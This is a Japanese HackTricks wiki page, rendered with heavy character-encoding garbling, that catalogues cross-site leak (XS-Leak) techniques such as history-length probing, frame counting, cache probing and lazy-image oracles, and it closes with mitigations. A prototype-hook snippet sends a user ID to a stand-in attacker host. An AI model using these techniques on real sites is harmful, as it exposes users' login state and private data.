- ã³ãŒãäŸ: https://xsinator.com/testing.html#History%20Length%20Leak
History API ã䜿ããš JavaScript ããã©ãŠã¶å±¥æŽãæäœã§ãããŠãŒã¶ã蚪ããããŒãžãä¿åãããŸããæ»æè
㯠length ããããã£ãæ¿å
¥ææ³ãšããŠå©çšããJavaScript ã HTML ããã²ãŒã·ã§ã³ãæ€åºã§ããŸããå
·äœçã«ã¯ history.length ããã§ãã¯ãããŠãŒã¶ãããããŒãžãžç§»åããããã®åŸåäžãªãªãžã³ã«æ»ããæ°ãã history.length ã®å€ã確èªããŸãã
History Length with same URL
- æ¿å ¥æ¹æ³: ãã¬ãŒã ããããã¢ãã
- æ€åºã§ããå·®ç°: URL ãæšæž¬ãããã®ãšåããã©ãã
- æŠèŠ: å±¥æŽé·ãæªçšããŠãã¬ãŒã /ãããã¢ããã®äœçœ®ãç¹å®ã® URL ã«ããããæšæž¬ã§ããã
- ã³ãŒãäŸ: 以äž
æ»æè
ã¯ãã¬ãŒã ïŒãããã¢ããã® location ãæšæž¬ãã URL ã«å€æŽããçŽåŸã« about:blank ã«å€æŽããŸãããã history ã®é·ããå¢ããŠããã°ãURL ãæ£ããããªããŒããããªãã£ãïŒåã URL ã®å Žåã¯åèªã¿èŸŒã¿ãããªãããå±¥æŽãå¢ããïŒããšãæå³ããŸããå¢ããŠããªããã°ãæšæž¬ãã URL ã®èªã¿èŸŒã¿ã¯è©Šã¿ãããããçŽåŸã« about:blank ãèªã¿èŸŒãã ããã«æšæž¬ URL ã®èªã¿èŸŒã¿ã«ããå±¥æŽå¢å ã¯çºçããªãã£ãããšããããšã«ãªããŸãã
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))
win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))
Frame Counting
- å 嫿¹æ³: Frames, Pop-ups
- æ€åºå¯èœãªå·®ç°: Page Content
- 詳现: https://xsleaks.dev/docs/attacks/frame-counting/
- èŠçŽ:
window.lengthããããã£ã調ã¹ãŠ iframe èŠçŽ ã®æ°ãè©äŸ¡ããã - ã³ãŒãäŸ: https://xsinator.com/testing.html#Frame%20Count%20Leak
iframe ã window.open ãä»ããŠéããããŠã§ãå
ã®ãã¬ãŒã ã®æ°ãæ°ããããšã§ããŠãŒã¶ãŒããã®ããŒãžäžã§ã©ã®ãããªç¶æ
ã«ããããæšæž¬ã§ããå Žåãããã
ããã«ãããŒãžãåžžã«åããã¬ãŒã æ°ãæã€å Žåããã®ãã¬ãŒã æ°ãç¶ç¶çã«ç£èŠããããšã§ãæ
å ±ãæŒããå¯èœæ§ã®ãããã¿ãŒã³ãç¹å®ã§ããããšãããã
ãã®æè¡ã®äŸãšããŠãChrome ã§ã¯å
éšã§ embed ã䜿çšããããããPDF ã frame counting ã«ãã£ãŠæ€åºã§ããããšããããzoomãviewãpageãtoolbar ã®ãããªã³ã³ãã³ãå¶åŸ¡ãå¯èœãª Open URL Parameters ãããããã®æè¡ãæå¹ã«ãªãå Žé¢ãããã
HTMLElements
- å 嫿¹æ³: HTML Elements
- æ€åºå¯èœãªå·®ç°: Page Content
- 詳现: https://xsleaks.dev/docs/attacks/element-leaks/
- èŠçŽ: é²åºããå€ãèªã¿åãã2ã€ã®å¯èœãªç¶æ ãåºå¥ãã
- ã³ãŒãäŸ: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
HTML èŠçŽ ãä»ããæ å ±æŒæŽ©ã¯ããŠãŒã¶ãŒæ å ±ã«åºã¥ããŠåçã«ã¡ãã£ã¢ãã¡ã€ã«ãçæãããå ŽåãããŠã©ãŒã¿ãŒããŒã¯ã远å ãããŠã¡ãã£ã¢ãµã€ãºãå€ããå Žåãªã©ããŠã§ãã»ãã¥ãªãã£ã«ãããæžå¿µäºé ã§ãããæ»æè ã¯ç¹å®ã® HTML èŠçŽ ãå ¬éããæ å ±ãåæããããšã§ãå¯èœãªç¶æ ãåºå¥ã§ããã
Information Exposed by HTML Elements
- HTMLMediaElement: ã¡ãã£ã¢ã®
durationãbufferedæéã API çµç±ã§ååŸã§ããã Read more about HTMLMediaElement - HTMLVideoElement:
videoHeightãšvideoWidthãå ¬éãããããã€ãã®ãã©ãŠã¶ã§ã¯webkitVideoDecodedByteCountãwebkitAudioDecodedByteCountãwebkitDecodedFrameCountã®ãããªè¿œå ããããã£ããããã¡ãã£ã¢å 容ã®ããè©³çŽ°ãªæ å ±ãåŸãããããšãããã Read more about HTMLVideoElement - getVideoPlaybackQuality():
totalVideoFramesãå«ããããªåçå質ã®è©³çްãæäŸããåŠçããããããªããŒã¿éã瀺ãããšãããã Read more about getVideoPlaybackQuality() - HTMLImageElement: ç»åã®
heightãšwidthãé²åºããããã ããç»åãç¡å¹ãªå Žåãããã®ããããã£ã¯ 0 ãè¿ããimage.decode()ã¯æåŠãããŠæ£ããèªã¿èŸŒãŸããªãã£ãããšãåããã Read more about HTMLImageElement
CSS Property
- å 嫿¹æ³: HTML Elements
- æ€åºå¯èœãªå·®ç°: Page Content
- 詳现: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- èŠçŽ: ãŠãŒã¶ãŒã®ç¶æ ãã¹ããŒã¿ã¹ãšçžé¢ãããŠã§ããµã€ãã®ã¹ã¿ã€ãªã³ã°ã®å€åãèå¥ãã
- ã³ãŒãäŸ: https://xsinator.com/testing.html#CSS%20Property%20Leak
ãŠã§ãã¢ããªã±ãŒã·ã§ã³ã¯ãŠãŒã¶ãŒã®ç¶æ
ã«å¿ããŠãŠã§ããµã€ãã®ã¹ã¿ã€ã«ã倿Žããããšããããã¯ãã¹ãªãªãžã³ã® CSS ãã¡ã€ã«ã¯æ»æè
ããŒãžã« HTML link èŠçŽ ã§åã蟌ãããšãã§ããã«ãŒã«ã¯æ»æè
ããŒãžã«é©çšããããããŒãžããããã®ã«ãŒã«ãåçã«å€æŽããå Žåãæ»æè
ã¯ãŠãŒã¶ãŒç¶æ
ã«å¿ãããããã®å·®ç°ãæ€åºã§ããã
ãªãŒã¯æè¡ãšããŠãæ»æè
㯠window.getComputedStyle ã¡ãœããã䜿çšããŠç¹å®ã® HTML èŠçŽ ã® CSS ããããã£ãèªã¿åãããšãã§ããããã®çµæã圱é¿ãåããèŠçŽ ãšããããã£åãåãã£ãŠããã°ä»»æã® CSS ããããã£ãèªã¿åããå¯èœæ§ãããã
CSS History
- å 嫿¹æ³: HTML Elements
- æ€åºå¯èœãªå·®ç°: Page Content
- 詳现: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- èŠçŽ: URL ã«å¯ŸããŠ
:visitedã¹ã¿ã€ã«ãé©çšãããŠãããæ€åºããæ¢ã«èšªåæžã¿ããå€å¥ãã - ã³ãŒãäŸ: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
Tip
According to this, this is not working in headless Chrome.
CSS ã® :visited ã»ã¬ã¯ã¿ã¯ããŠãŒã¶ãŒã以åã«èšªãã URL ãå¥ã®ã¹ã¿ã€ã«ã§è¡šç€ºããããã«äœ¿ãããã以å㯠getComputedStyle() ã䜿ã£ãŠãããã®ã¹ã¿ã€ã«å·®ãèå¥ã§ããããçŸä»£ã®ãã©ãŠã¶ã¯ãªã³ã¯ã®ç¶æ
ãæãããªãããã«ã»ãã¥ãªãã£å¯Ÿçãå®è£
ããŠããããããã®å¯Ÿçã«ã¯ãgetComputedStyle() ãåžžã«èšªåæžã¿ãšããŠã®èšç®æžã¿ã¹ã¿ã€ã«ãè¿ãããã«ããããšãã:visited ã»ã¬ã¯ã¿ã§é©çšå¯èœãªã¹ã¿ã€ã«ãå¶éããããšãå«ãŸããã
ãããã®å¶éã«ããããããããªã³ã¯ã®èšªåç¶æ
ã鿥çã«å€å¥ããæ¹æ³ã¯ååšãããããææ³ã¯ããŠãŒã¶ãŒã CSS ã«ãã£ãŠåœ±é¿ãåããé åãšå¯Ÿè©±ãããããšã§ãç¹ã« mix-blend-mode ããããã£ãå©çšããŠèšªåç¶æ
ãé²åºããããšãããã®ã ããã®ããããã£ã¯èŠçŽ ãšèæ¯ããã¬ã³ãããããšãã§ãããŠãŒã¶ãŒã®æäœã«å¿ããŠèšªåç¶æ
ãæããã«ãªãå¯èœæ§ãããã
ãŸããã¬ã³ããªã³ã°ã®ã¿ã€ãã³ã°ãå©çšããŠãŠãŒã¶ãŒæäœãªãã«æ€åºããããšãå¯èœã§ããããã©ãŠã¶ãèšªåæžã¿ãªã³ã¯ãšæªèšªåãªã³ã¯ãç°ãªãæ¹æ³ã§ã¬ã³ããªã³ã°ããå Žåãã¬ã³ããªã³ã°ã«ãããæéã®å·®ãçãããããèšæž¬ããããšã§èšªåç¶æ ãæ€åºã§ãããChromium ã®ãã°ã¬ããŒãã«ã¯ããã®ã¿ã€ãã³ã°å·®ãå¢å¹ ããããã«è€æ°ã®ãªã³ã¯ãçšãã PoC ã瀺ãããŠããã
ãããã®ããããã£ãã¡ãœããã®è©³çްã¯ä»¥äžãåç §ïŒ
:visited: MDN DocumentationgetComputedStyle(): MDN Documentationmix-blend-mode: MDN Documentation
ContentDocument X-Frame Leak
- å 嫿¹æ³: Frames
- æ€åºå¯èœãªå·®ç°: Headers
- 詳现: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- èŠçŽ: Google Chrome ã§ã¯ãX-Frame-Options ã«ããã¯ãã¹ãªãªãžã³ã§åã蟌ã¿ããããã¯ãããå Žåã«å°çšã®ãšã©ãŒããŒãžã衚瀺ããã
- ã³ãŒãäŸ: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
Chrome ã§ã¯ãX-Frame-Options ãããã âdenyâ ã âsame-originâ ã«èšå®ãããããŒãžã object ãšããŠåã蟌ããšããšã©ãŒããŒãžã衚瀺ããããChrome ã¯ãã® object ã® contentDocument ããããã£ã«å¯ŸããŠãiframe ãä»ã®ãã©ãŠã¶ãšã¯ç°ãªã null ã§ã¯ãªã空ã®ããã¥ã¡ã³ããªããžã§ã¯ããè¿ããæ»æè
ã¯ãã®ç©ºã®ããã¥ã¡ã³ããæ€åºããããšã§æ
å ±ãåŸãããå¯èœæ§ããããç¹ã«éçºè
ããšã©ãŒããŒãžã«å¯ŸããŠã»ãã¥ãªãã£ãããã®èšå®ãæŒãããã¡ãªå Žåã«ãŠãŒã¶ãŒã®ç¶æ
ãæããã«ããæããããããããããªãŒã¯ãé²ãããã«ã¯ãã»ãã¥ãªãã£ããããäžè²«ããŠé©çšããããšãéèŠã§ããã
Download Detection
- å 嫿¹æ³: Frames, Pop-ups
- æ€åºå¯èœãªå·®ç°: Headers
- 詳现: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- èŠçŽ: iframe ãå©çšããŠãã¡ã€ã«ããŠã³ããŒããèå¥ã§ãããiframe ãåŒãç¶ãã¢ã¯ã»ã¹å¯èœã§ããããšã¯ãã¡ã€ã«ããŠã³ããŒããè¡ãããããšã瀺åããã
- ã³ãŒãäŸ: https://xsleaks.dev/docs/attacks/navigations/#download-bar
Content-Disposition ããããç¹ã« Content-Disposition: attachment ã¯ãã©ãŠã¶ã«ã³ã³ãã³ããã€ã³ã©ã€ã³è¡šç€ºã§ã¯ãªãããŠã³ããŒãããããæç€ºããããã®æåãå©çšããŠããŠãŒã¶ãŒããã¡ã€ã«ããŠã³ããŒããåŒãèµ·ããããŒãžã«ã¢ã¯ã»ã¹æš©ãããããæ€åºã§ãããChromium ç³»ãã©ãŠã¶ã§ã¯ãããŠã³ããŒãæåãæ€åºããããã«ããã€ãã®ææ³ãããïŒ
- ããŠã³ããŒãããŒã®ç£èŠ:
- Chromium ç³»ãã©ãŠã¶ã§ãã¡ã€ã«ãããŠã³ããŒãããããšããã©ãŠã¶ãŠã£ã³ããŠäžéšã«ããŠã³ããŒãããŒã衚瀺ãããã
- ãŠã£ã³ããŠé«ãã®å€åãç£èŠããããšã§ãããŠã³ããŒãããŒã®åºçŸãæšæž¬ããããŠã³ããŒããéå§ãããããšã瀺åã§ããã
- iframe ã䜿çšããããŠã³ããŒãããã²ãŒã·ã§ã³:
- ããŒãžã
Content-Disposition: attachmentã䜿ã£ãŠãã¡ã€ã«ããŠã³ããŒããåŒãèµ·ããå Žåãããã²ãŒã·ã§ã³ã€ãã³ãã¯çºçããªãã - ã³ã³ãã³ãã iframe ã«èªã¿èŸŒã¿ãããã²ãŒã·ã§ã³ã€ãã³ããç£èŠããããšã§ãã³ã³ãã³ãããã¡ã€ã«ããŠã³ããŒããåŒãèµ·ããããïŒããã²ãŒã·ã§ã³ãªãïŒãå€å®ã§ããã
- iframe ã䜿ããªãããŠã³ããŒãããã²ãŒã·ã§ã³:
- iframe ã®ä»£ããã«
window.openã䜿çšããæ¹æ³ãããã - æ°ããéãããŠã£ã³ããŠã§ããã²ãŒã·ã§ã³ã€ãã³ããç£èŠããããšã§ããã¡ã€ã«ããŠã³ããŒããããªã¬ãŒããããïŒããã²ãŒã·ã§ã³ãªãïŒãããã¯ã³ã³ãã³ããã€ã³ã©ã€ã³è¡šç€ºããããïŒããã²ãŒã·ã§ã³ããïŒãæããã«ã§ããã
ãã°ã€ã³æžã¿ãŠãŒã¶ãŒã®ã¿ããã®ãããªããŠã³ããŒããåŒãèµ·ãããå Žåããããã®ææ³ã«ãããã©ãŠã¶ã®ããŠã³ããŒããªã¯ãšã¹ããžã®å¿çãããŠãŒã¶ãŒã®èªèšŒç¶æ ã鿥çã«æšæž¬ããããšãã§ããã
Partitioned HTTP Cache Bypass
- å 嫿¹æ³: Pop-ups
- æ€åºå¯èœãªå·®ç°: Timing
- 詳现: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- èŠçŽ: an attacker can discern file downloads by leveraging iframes; continued accessibility of the iframe implies successful file download.
- ã³ãŒãäŸ: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (from https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
Warning
This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is:
(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be:(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)
ãããµã€ã example.com ã *.example.com/resource ãããªãœãŒã¹ãå«ããå Žåããã®ãªãœãŒã¹ã¯ãããã¬ãã«ããã²ãŒã·ã§ã³ã§çŽæ¥ãªã¯ãšã¹ãããå Žåãšåããã£ãã·ã¥ããŒãæã€ããšã«ãªããããã¯ãã£ãã·ã¥ããŒããããã¬ãã«ã® eTLD+1 ãšãã¬ãŒã ã® eTLD+1 ã§æ§æãããããã§ããã
ãã£ãã·ã¥ã«ã¢ã¯ã»ã¹ããæ¹ããªãœãŒã¹ãèªã¿èŸŒããããéããããããŒãžã® location ã倿ŽããŠããäŸãã° 20ms ã§äžæãããããªè©Šã¿ãè¡ãã忢åŸã«ãªãªãžã³ãå€ãã£ãŠããã°ãã®ãªãœãŒã¹ããã£ãã·ã¥ãããŠããããšãæå³ããã
ãããã¯ãæœåšçã«ãã£ãã·ã¥ãããããŒãžã«å¯Ÿã㊠fetch ãæãããã®æèŠæéãèšæž¬ããã ãã§ãããã
Manual Redirect
- å 嫿¹æ³: Fetch API
- æ€åºå¯èœãªå·®ç°: Redirects
- 詳现: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- èŠçŽ: fetch ãªã¯ãšã¹ãã®ã¬ã¹ãã³ã¹ããªãã€ã¬ã¯ããã©ãããèŠã€ããããšãå¯èœã§ãã
- ã³ãŒãäŸ:
.png)
Fetch with AbortController
- å 嫿¹æ³: Fetch API
- æ€åºå¯èœãªå·®ç°: Timing
- 詳现: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- èŠçŽ: ãªãœãŒã¹ãèªã¿èŸŒãããšããèªã¿èŸŒã¿ãå®äºããåã«äžæããããšã§ããšã©ãŒã®çºçæç¡ã«å¿ããŠãªãœãŒã¹ããã£ãã·ã¥ãããŠãããã©ãããå€å®ã§ãã
- ã³ãŒãäŸ: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
fetch ãš setTimeout ã AbortController ãšçµã¿åãããŠäœ¿çšããããšã§ããªãœãŒã¹ããã£ãã·ã¥ãããŠããããæ€åºããç¹å®ã®ãªãœãŒã¹ããã©ãŠã¶ãã£ãã·ã¥ãã远ãåºãããšãã§ãããããã«ããã®ããã»ã¹ã¯æ°ããã³ã³ãã³ãããã£ãã·ã¥ããããšãªãå®è¡ãããã
Script Pollution
- å 嫿¹æ³: HTML Elements (script)
- æ€åºå¯èœãªå·®ç°: Page Content
- 詳现: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- èŠçŽ: çµã¿èŸŒã¿é¢æ°ãäžæžãããŠãã®åŒæ°ãèªã¿åãããšãå¯èœã§ãã¯ãã¹ãªãªãžã³ã® scriptïŒçŽæ¥ã¯èªã¿åããªãïŒããã§ã貎éãªæ å ±ãæŒããå¯èœæ§ããã
- ã³ãŒãäŸ: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
Prototype hooks to exfiltrate module-scoped data
ã¢ãžã¥ãŒã«ãããŒãããåã« Function.prototype.default ãš Function.prototype.__esModule = 1 ãäºåã«å®çŸ©ããŠãããšããã®ã¢ãžã¥ãŒã«ã® default ãšã¯ã¹ããŒããããªãã®ããã¯ãåŒã³åºãïŒäŸ: {userID: ...} ãåãåãïŒããã«ãªããã¿ã€ãã³ã°ããã«ãŒããã©ãŒã¹ã䜿ããã«ã¢ãžã¥ãŒã«ã¹ã³ãŒãå
ã®å€ãèªã¿åãããšãã§ããã
<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>
ã¹ã¯ãªãããèªèšŒæžã¿ãŠãŒã¶ãŒã«ã®ã¿èªã¿èŸŒãŸããå Žåããã®ãªã¯ãšã¹ãèªäœããã°ã€ã³ç¶æ ã®ãªã©ã¯ã«ã«ãªããŸãã
Service Workers
- Inclusion Methods: ãããã¢ãã
- Detectable Difference: ããŒãžã³ã³ãã³ã
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- Summary: service workers ã䜿ã£ãŠå®è¡æéãæž¬å®ããã
- Code Example:
ãã®ã·ããªãªã§ã¯ãæ»æè ã¯èªèº«ã®ãã¡ã€ã³ã®1ã€ãå ·äœçã«ã¯ âattacker.comâ ã« service worker ãç»é²ããŸããæ¬¡ã«ãæ»æè ã¯ã¡ã€ã³ããã¥ã¡ã³ãããã¿ãŒã²ãããµã€ãã§æ°ãããŠã£ã³ããŠãéããservice worker ã«ã¿ã€ããŒãéå§ããããæç€ºããŸããæ°ãããŠã£ã³ããŠãèªã¿èŸŒã¿ãéå§ãããšãæ»æè ã¯åã®ã¹ãããã§åŸãåç §ã service worker ã管çããããŒãžãžããã²ãŒãããŸãã
åã®ã¹ãããã§çºçãããªã¯ãšã¹ããå°çãããšãservice worker 㯠204 (No Content) ã¹ããŒã¿ã¹ã³ãŒãã§å¿çããããã²ãŒã·ã§ã³ãå®è³ªçã«çµäºãããŸãããã®æç¹ã§ãservice worker ã¯ã¹ããã2ã§éå§ããã¿ã€ããŒããèšæž¬ãååŸããŸãããã®èšæž¬ã¯ãããã²ãŒã·ã§ã³ã®é å»¶ãåŒãèµ·ãã JavaScript ã®å®è¡æéã«åœ±é¿ãããŸãã
Warning
å®è¡ã¿ã€ãã³ã°ã«ãããŠãããæ£ç¢ºãªèšæž¬ãåŸãããã« ãããã¯ãŒã¯èŠå ã æé€ ããããšãå¯èœã§ããäŸãã°ãããŒãžãèªã¿èŸŒãåã«ãã®ããŒãžã§äœ¿çšããããªãœãŒã¹ãå ã«èªã¿èŸŒãããªã©ã
Fetch Timing
- Inclusion Methods: Fetch API
- Detectable Difference: ã¿ã€ãã³ã°ïŒäžè¬çã«ã¯ããŒãžã³ã³ãã³ããã¹ããŒã¿ã¹ã³ãŒãã«ããïŒ
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- Summary: performance.now() ã䜿çšããŠãªã¯ãšã¹ãã«èŠããæéãæž¬å®ããããã®ä»ã®ã¯ããã¯ã䜿ãããšãå¯èœã
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
Cross-Window Timing
- Inclusion Methods: Pop-ups
- Detectable Difference: ã¿ã€ãã³ã°ïŒäžè¬çã«ã¯ããŒãžã³ã³ãã³ããã¹ããŒã¿ã¹ã³ãŒãã«ããïŒ
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- Summary: performance.now() ã䜿çšããŠã
window.openã䜿ã£ããªã¯ãšã¹ãã«èŠããæéãæž¬å®ããããã®ä»ã®ã¯ããã¯ã䜿ãããšãå¯èœã - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
Subdomain probing for identity/login state
- Inclusion Methods: HTML Elements (script), ãã¬ãŒã
- Detectable Difference: DNS/HTTP ã®ããŒãæåãCORB/ããããŒã®å€å
- Summary: èå¥åããµããã¡ã€ã³ã®ã©ãã«å
ã«ååšããå ŽåïŒäŸ:
www.<username>.sb.facebook.comïŒãåè£ãã¹ãã«ãªãœãŒã¹ããªã¯ãšã¹ãããonloadãšonerrorïŒã¿ã€ã ã¢ãŠããããŒã«å€ãšããŠæ±ããŸãããã°ã€ã³å°çšã¹ã¯ãªããïŒäŸ:/signals/iwl.jsïŒãšçµã¿åãããã°ããŠãŒã¶ãŒåããã«ãŒããã©ãŒã¹ããé¢é£ããããã£ãžã®èªèšŒãæ€èšŒã§ããŸãã - Note: Signals ã¯ç°ãªãæ¿å
¥ã¿ã€ãïŒ
script,iframe,objectïŒã§å¢å¹ ã§ããåè£ããšã®X-Frame-OptionsãCORBããªãã€ã¬ã¯ãã®éããæ€åºã§ããŸãã
HTML ãŸã㯠Re Injection ãçšããå Žå
ããã§ã¯ãã¯ãã¹ãªãªãžã³ã® HTML ããæ å ±ãå€éšã«æãåºãããã®ãHTML ãæ³šå ¥ããã±ãŒã¹åãã®ãã¯ããã¯ã玹ä»ããŸãããããã®æè¡ã¯ãäœããã®çç±ã§ HTML ã¯æ³šå ¥ã§ããã JS ã³ãŒãã¯æ³šå ¥ã§ããªã å Žåã«ç¹ã«æçšã§ãã
Dangling Markup
Dangling Markup - HTML scriptless injection
Image Lazy Loading
ã³ã³ãã³ãã exfiltrate ããå¿
èŠãããããã€ç§å¯ã®åã« HTML ã远å ã§ãããªããcommon dangling markup techniques ã確èªããŠãã ããã
ããããäœããã®çç±ã§ ã©ãããŠã æåããšã«ïŒchar by charïŒ è¡ãå¿
èŠãããå ŽåïŒäŸãã°éä¿¡ããã£ãã·ã¥ãããçµç±ã®å ŽåïŒããã®ããªãã¯ã䜿ãããšãã§ããŸãã
HTML ã® Images ã«ã¯ãå€ã âloadingâ ã®å±æ§ãããããã®å€ã« âlazyâ ãæå®ã§ããŸãããã®å Žåãç»åã¯ããŒãžèªã¿èŸŒã¿æã§ã¯ãªãã衚瀺ããããšãã«èªã¿èŸŒãŸããŸã:
<img src=/something loading=lazy >
ãããã£ãŠãã§ããããšã¯ã倧éã®ãžã£ã³ã¯æåã远å ããïŒäŸãã°äœåãã® âWâïŒããšã§ãç§å¯ã®åã«ãŠã§ãããŒãžãåããããŸãã¯æ¬¡ã®ãããªãã®ã远å ãã <br><canvas height="1850px"></canvas><br>.
äŸãã°ãããæã
ã®injectionãflagã®åã«çŸãããªããimageã¯èªã¿èŸŒãŸããã§ããããããããflagã®åŸã«çŸããå Žåã¯ãflag ãšãžã£ã³ã¯ããããèªã¿èŸŒãŸããã®ã劚ããã§ãããïŒã©ãã ããžã£ã³ã¯ã眮ããã¯èª¿æŽãå¿
èŠã§ãïŒãããã¯this writeupã§èµ·ããããšã§ãã
Another option would be to use the scroll-to-text-fragment if allowed:
Scroll-to-text-fragment
However, you make the botã«ããŒãžãžã¢ã¯ã»ã¹ããã with something like
#:~:text=SECR
ã€ãŸãããŠã§ãããŒãžã¯æ¬¡ã®ããã«ãªããŸã: https://victim.com/post.html#:~:text=SECR
post.html ã«ã¯æ»æè ã®ãžã£ã³ã¯æåãšé å»¶èªã¿èŸŒã¿ç»åãå«ãŸãããã®äžã«ãããã®ã·ãŒã¯ã¬ããã远å ãããŸãã
ãã®ããã¹ãã¯ããŒãžå
ã® SECR ãå«ãä»»æã®ããã¹ãã«ããããã¢ã¯ã»ã¹ããããã«ããŸããSECR ãã·ãŒã¯ã¬ããã§ããããããç»åã®ãã äž ã«ãããããæšæž¬ããã·ãŒã¯ã¬ãããæ£ããå Žåã«ã®ã¿ç»åãèªã¿èŸŒãŸããããšã«ãªããŸããããããŠãexfiltrate the secret char by charããããã®ãªã©ã¯ã«ãåŸãããŸãã
ãããæªçšããã³ãŒãäŸ: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
Image Lazy Loading Time Based
å€éšç»åãèªã¿èŸŒãããšãäžå¯èœã§ãç»åãèªã¿èŸŒãŸããããšã瀺ãå€éšãªã¯ãšã¹ãã䜿ããªãå Žåãå¥ã®éžæè¢ãšããŠæåãäœåºŠãæšæž¬ããŠæž¬å®ããæ¹æ³ããããŸããç»åãèªã¿èŸŒãŸãããšãå šãŠã®ãªã¯ãšã¹ãã¯ç»åãèªã¿èŸŒãŸããªãå Žåãããé·ãããããŸããããã¯solution of this writeupã§äœ¿ãããæ¹æ³ã§ãããã«èŠçŽã瀺ããŸãïŒ
Event Loop Blocking + Lazy images
ReDoS
Regular expression Denial of Service - ReDoS
CSS ReDoS
jQuery(location.hash) ã䜿ãããŠããå Žåãã¿ã€ãã³ã°ã«ãã£ãŠ HTMLã³ã³ãã³ããååšããã ãå€å¥ã§ããŸããããã¯ã»ã¬ã¯ã¿ main[id='site-main'] ãäžèŽããªãå Žåãæ®ãã® selectors ããã§ãã¯ããå¿
èŠããªãããã§ãïŒ
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)
CSS Injection
察ç
以äžã®è³æã wiki ã®åã»ã¯ã·ã§ã³ã«ç·©åçãæšå¥šãããŠããŸã: https://xsinator.com/paper.pdf ããã³ https://xsleaks.dev/ããããã®ææ³ããä¿è·ããæ¹æ³ã®è©³çްã¯ãã¡ããåç §ããŠãã ããã
åèè³æ
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
- Cross-Site Leaks (XS-Leaks) across Meta platforms
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


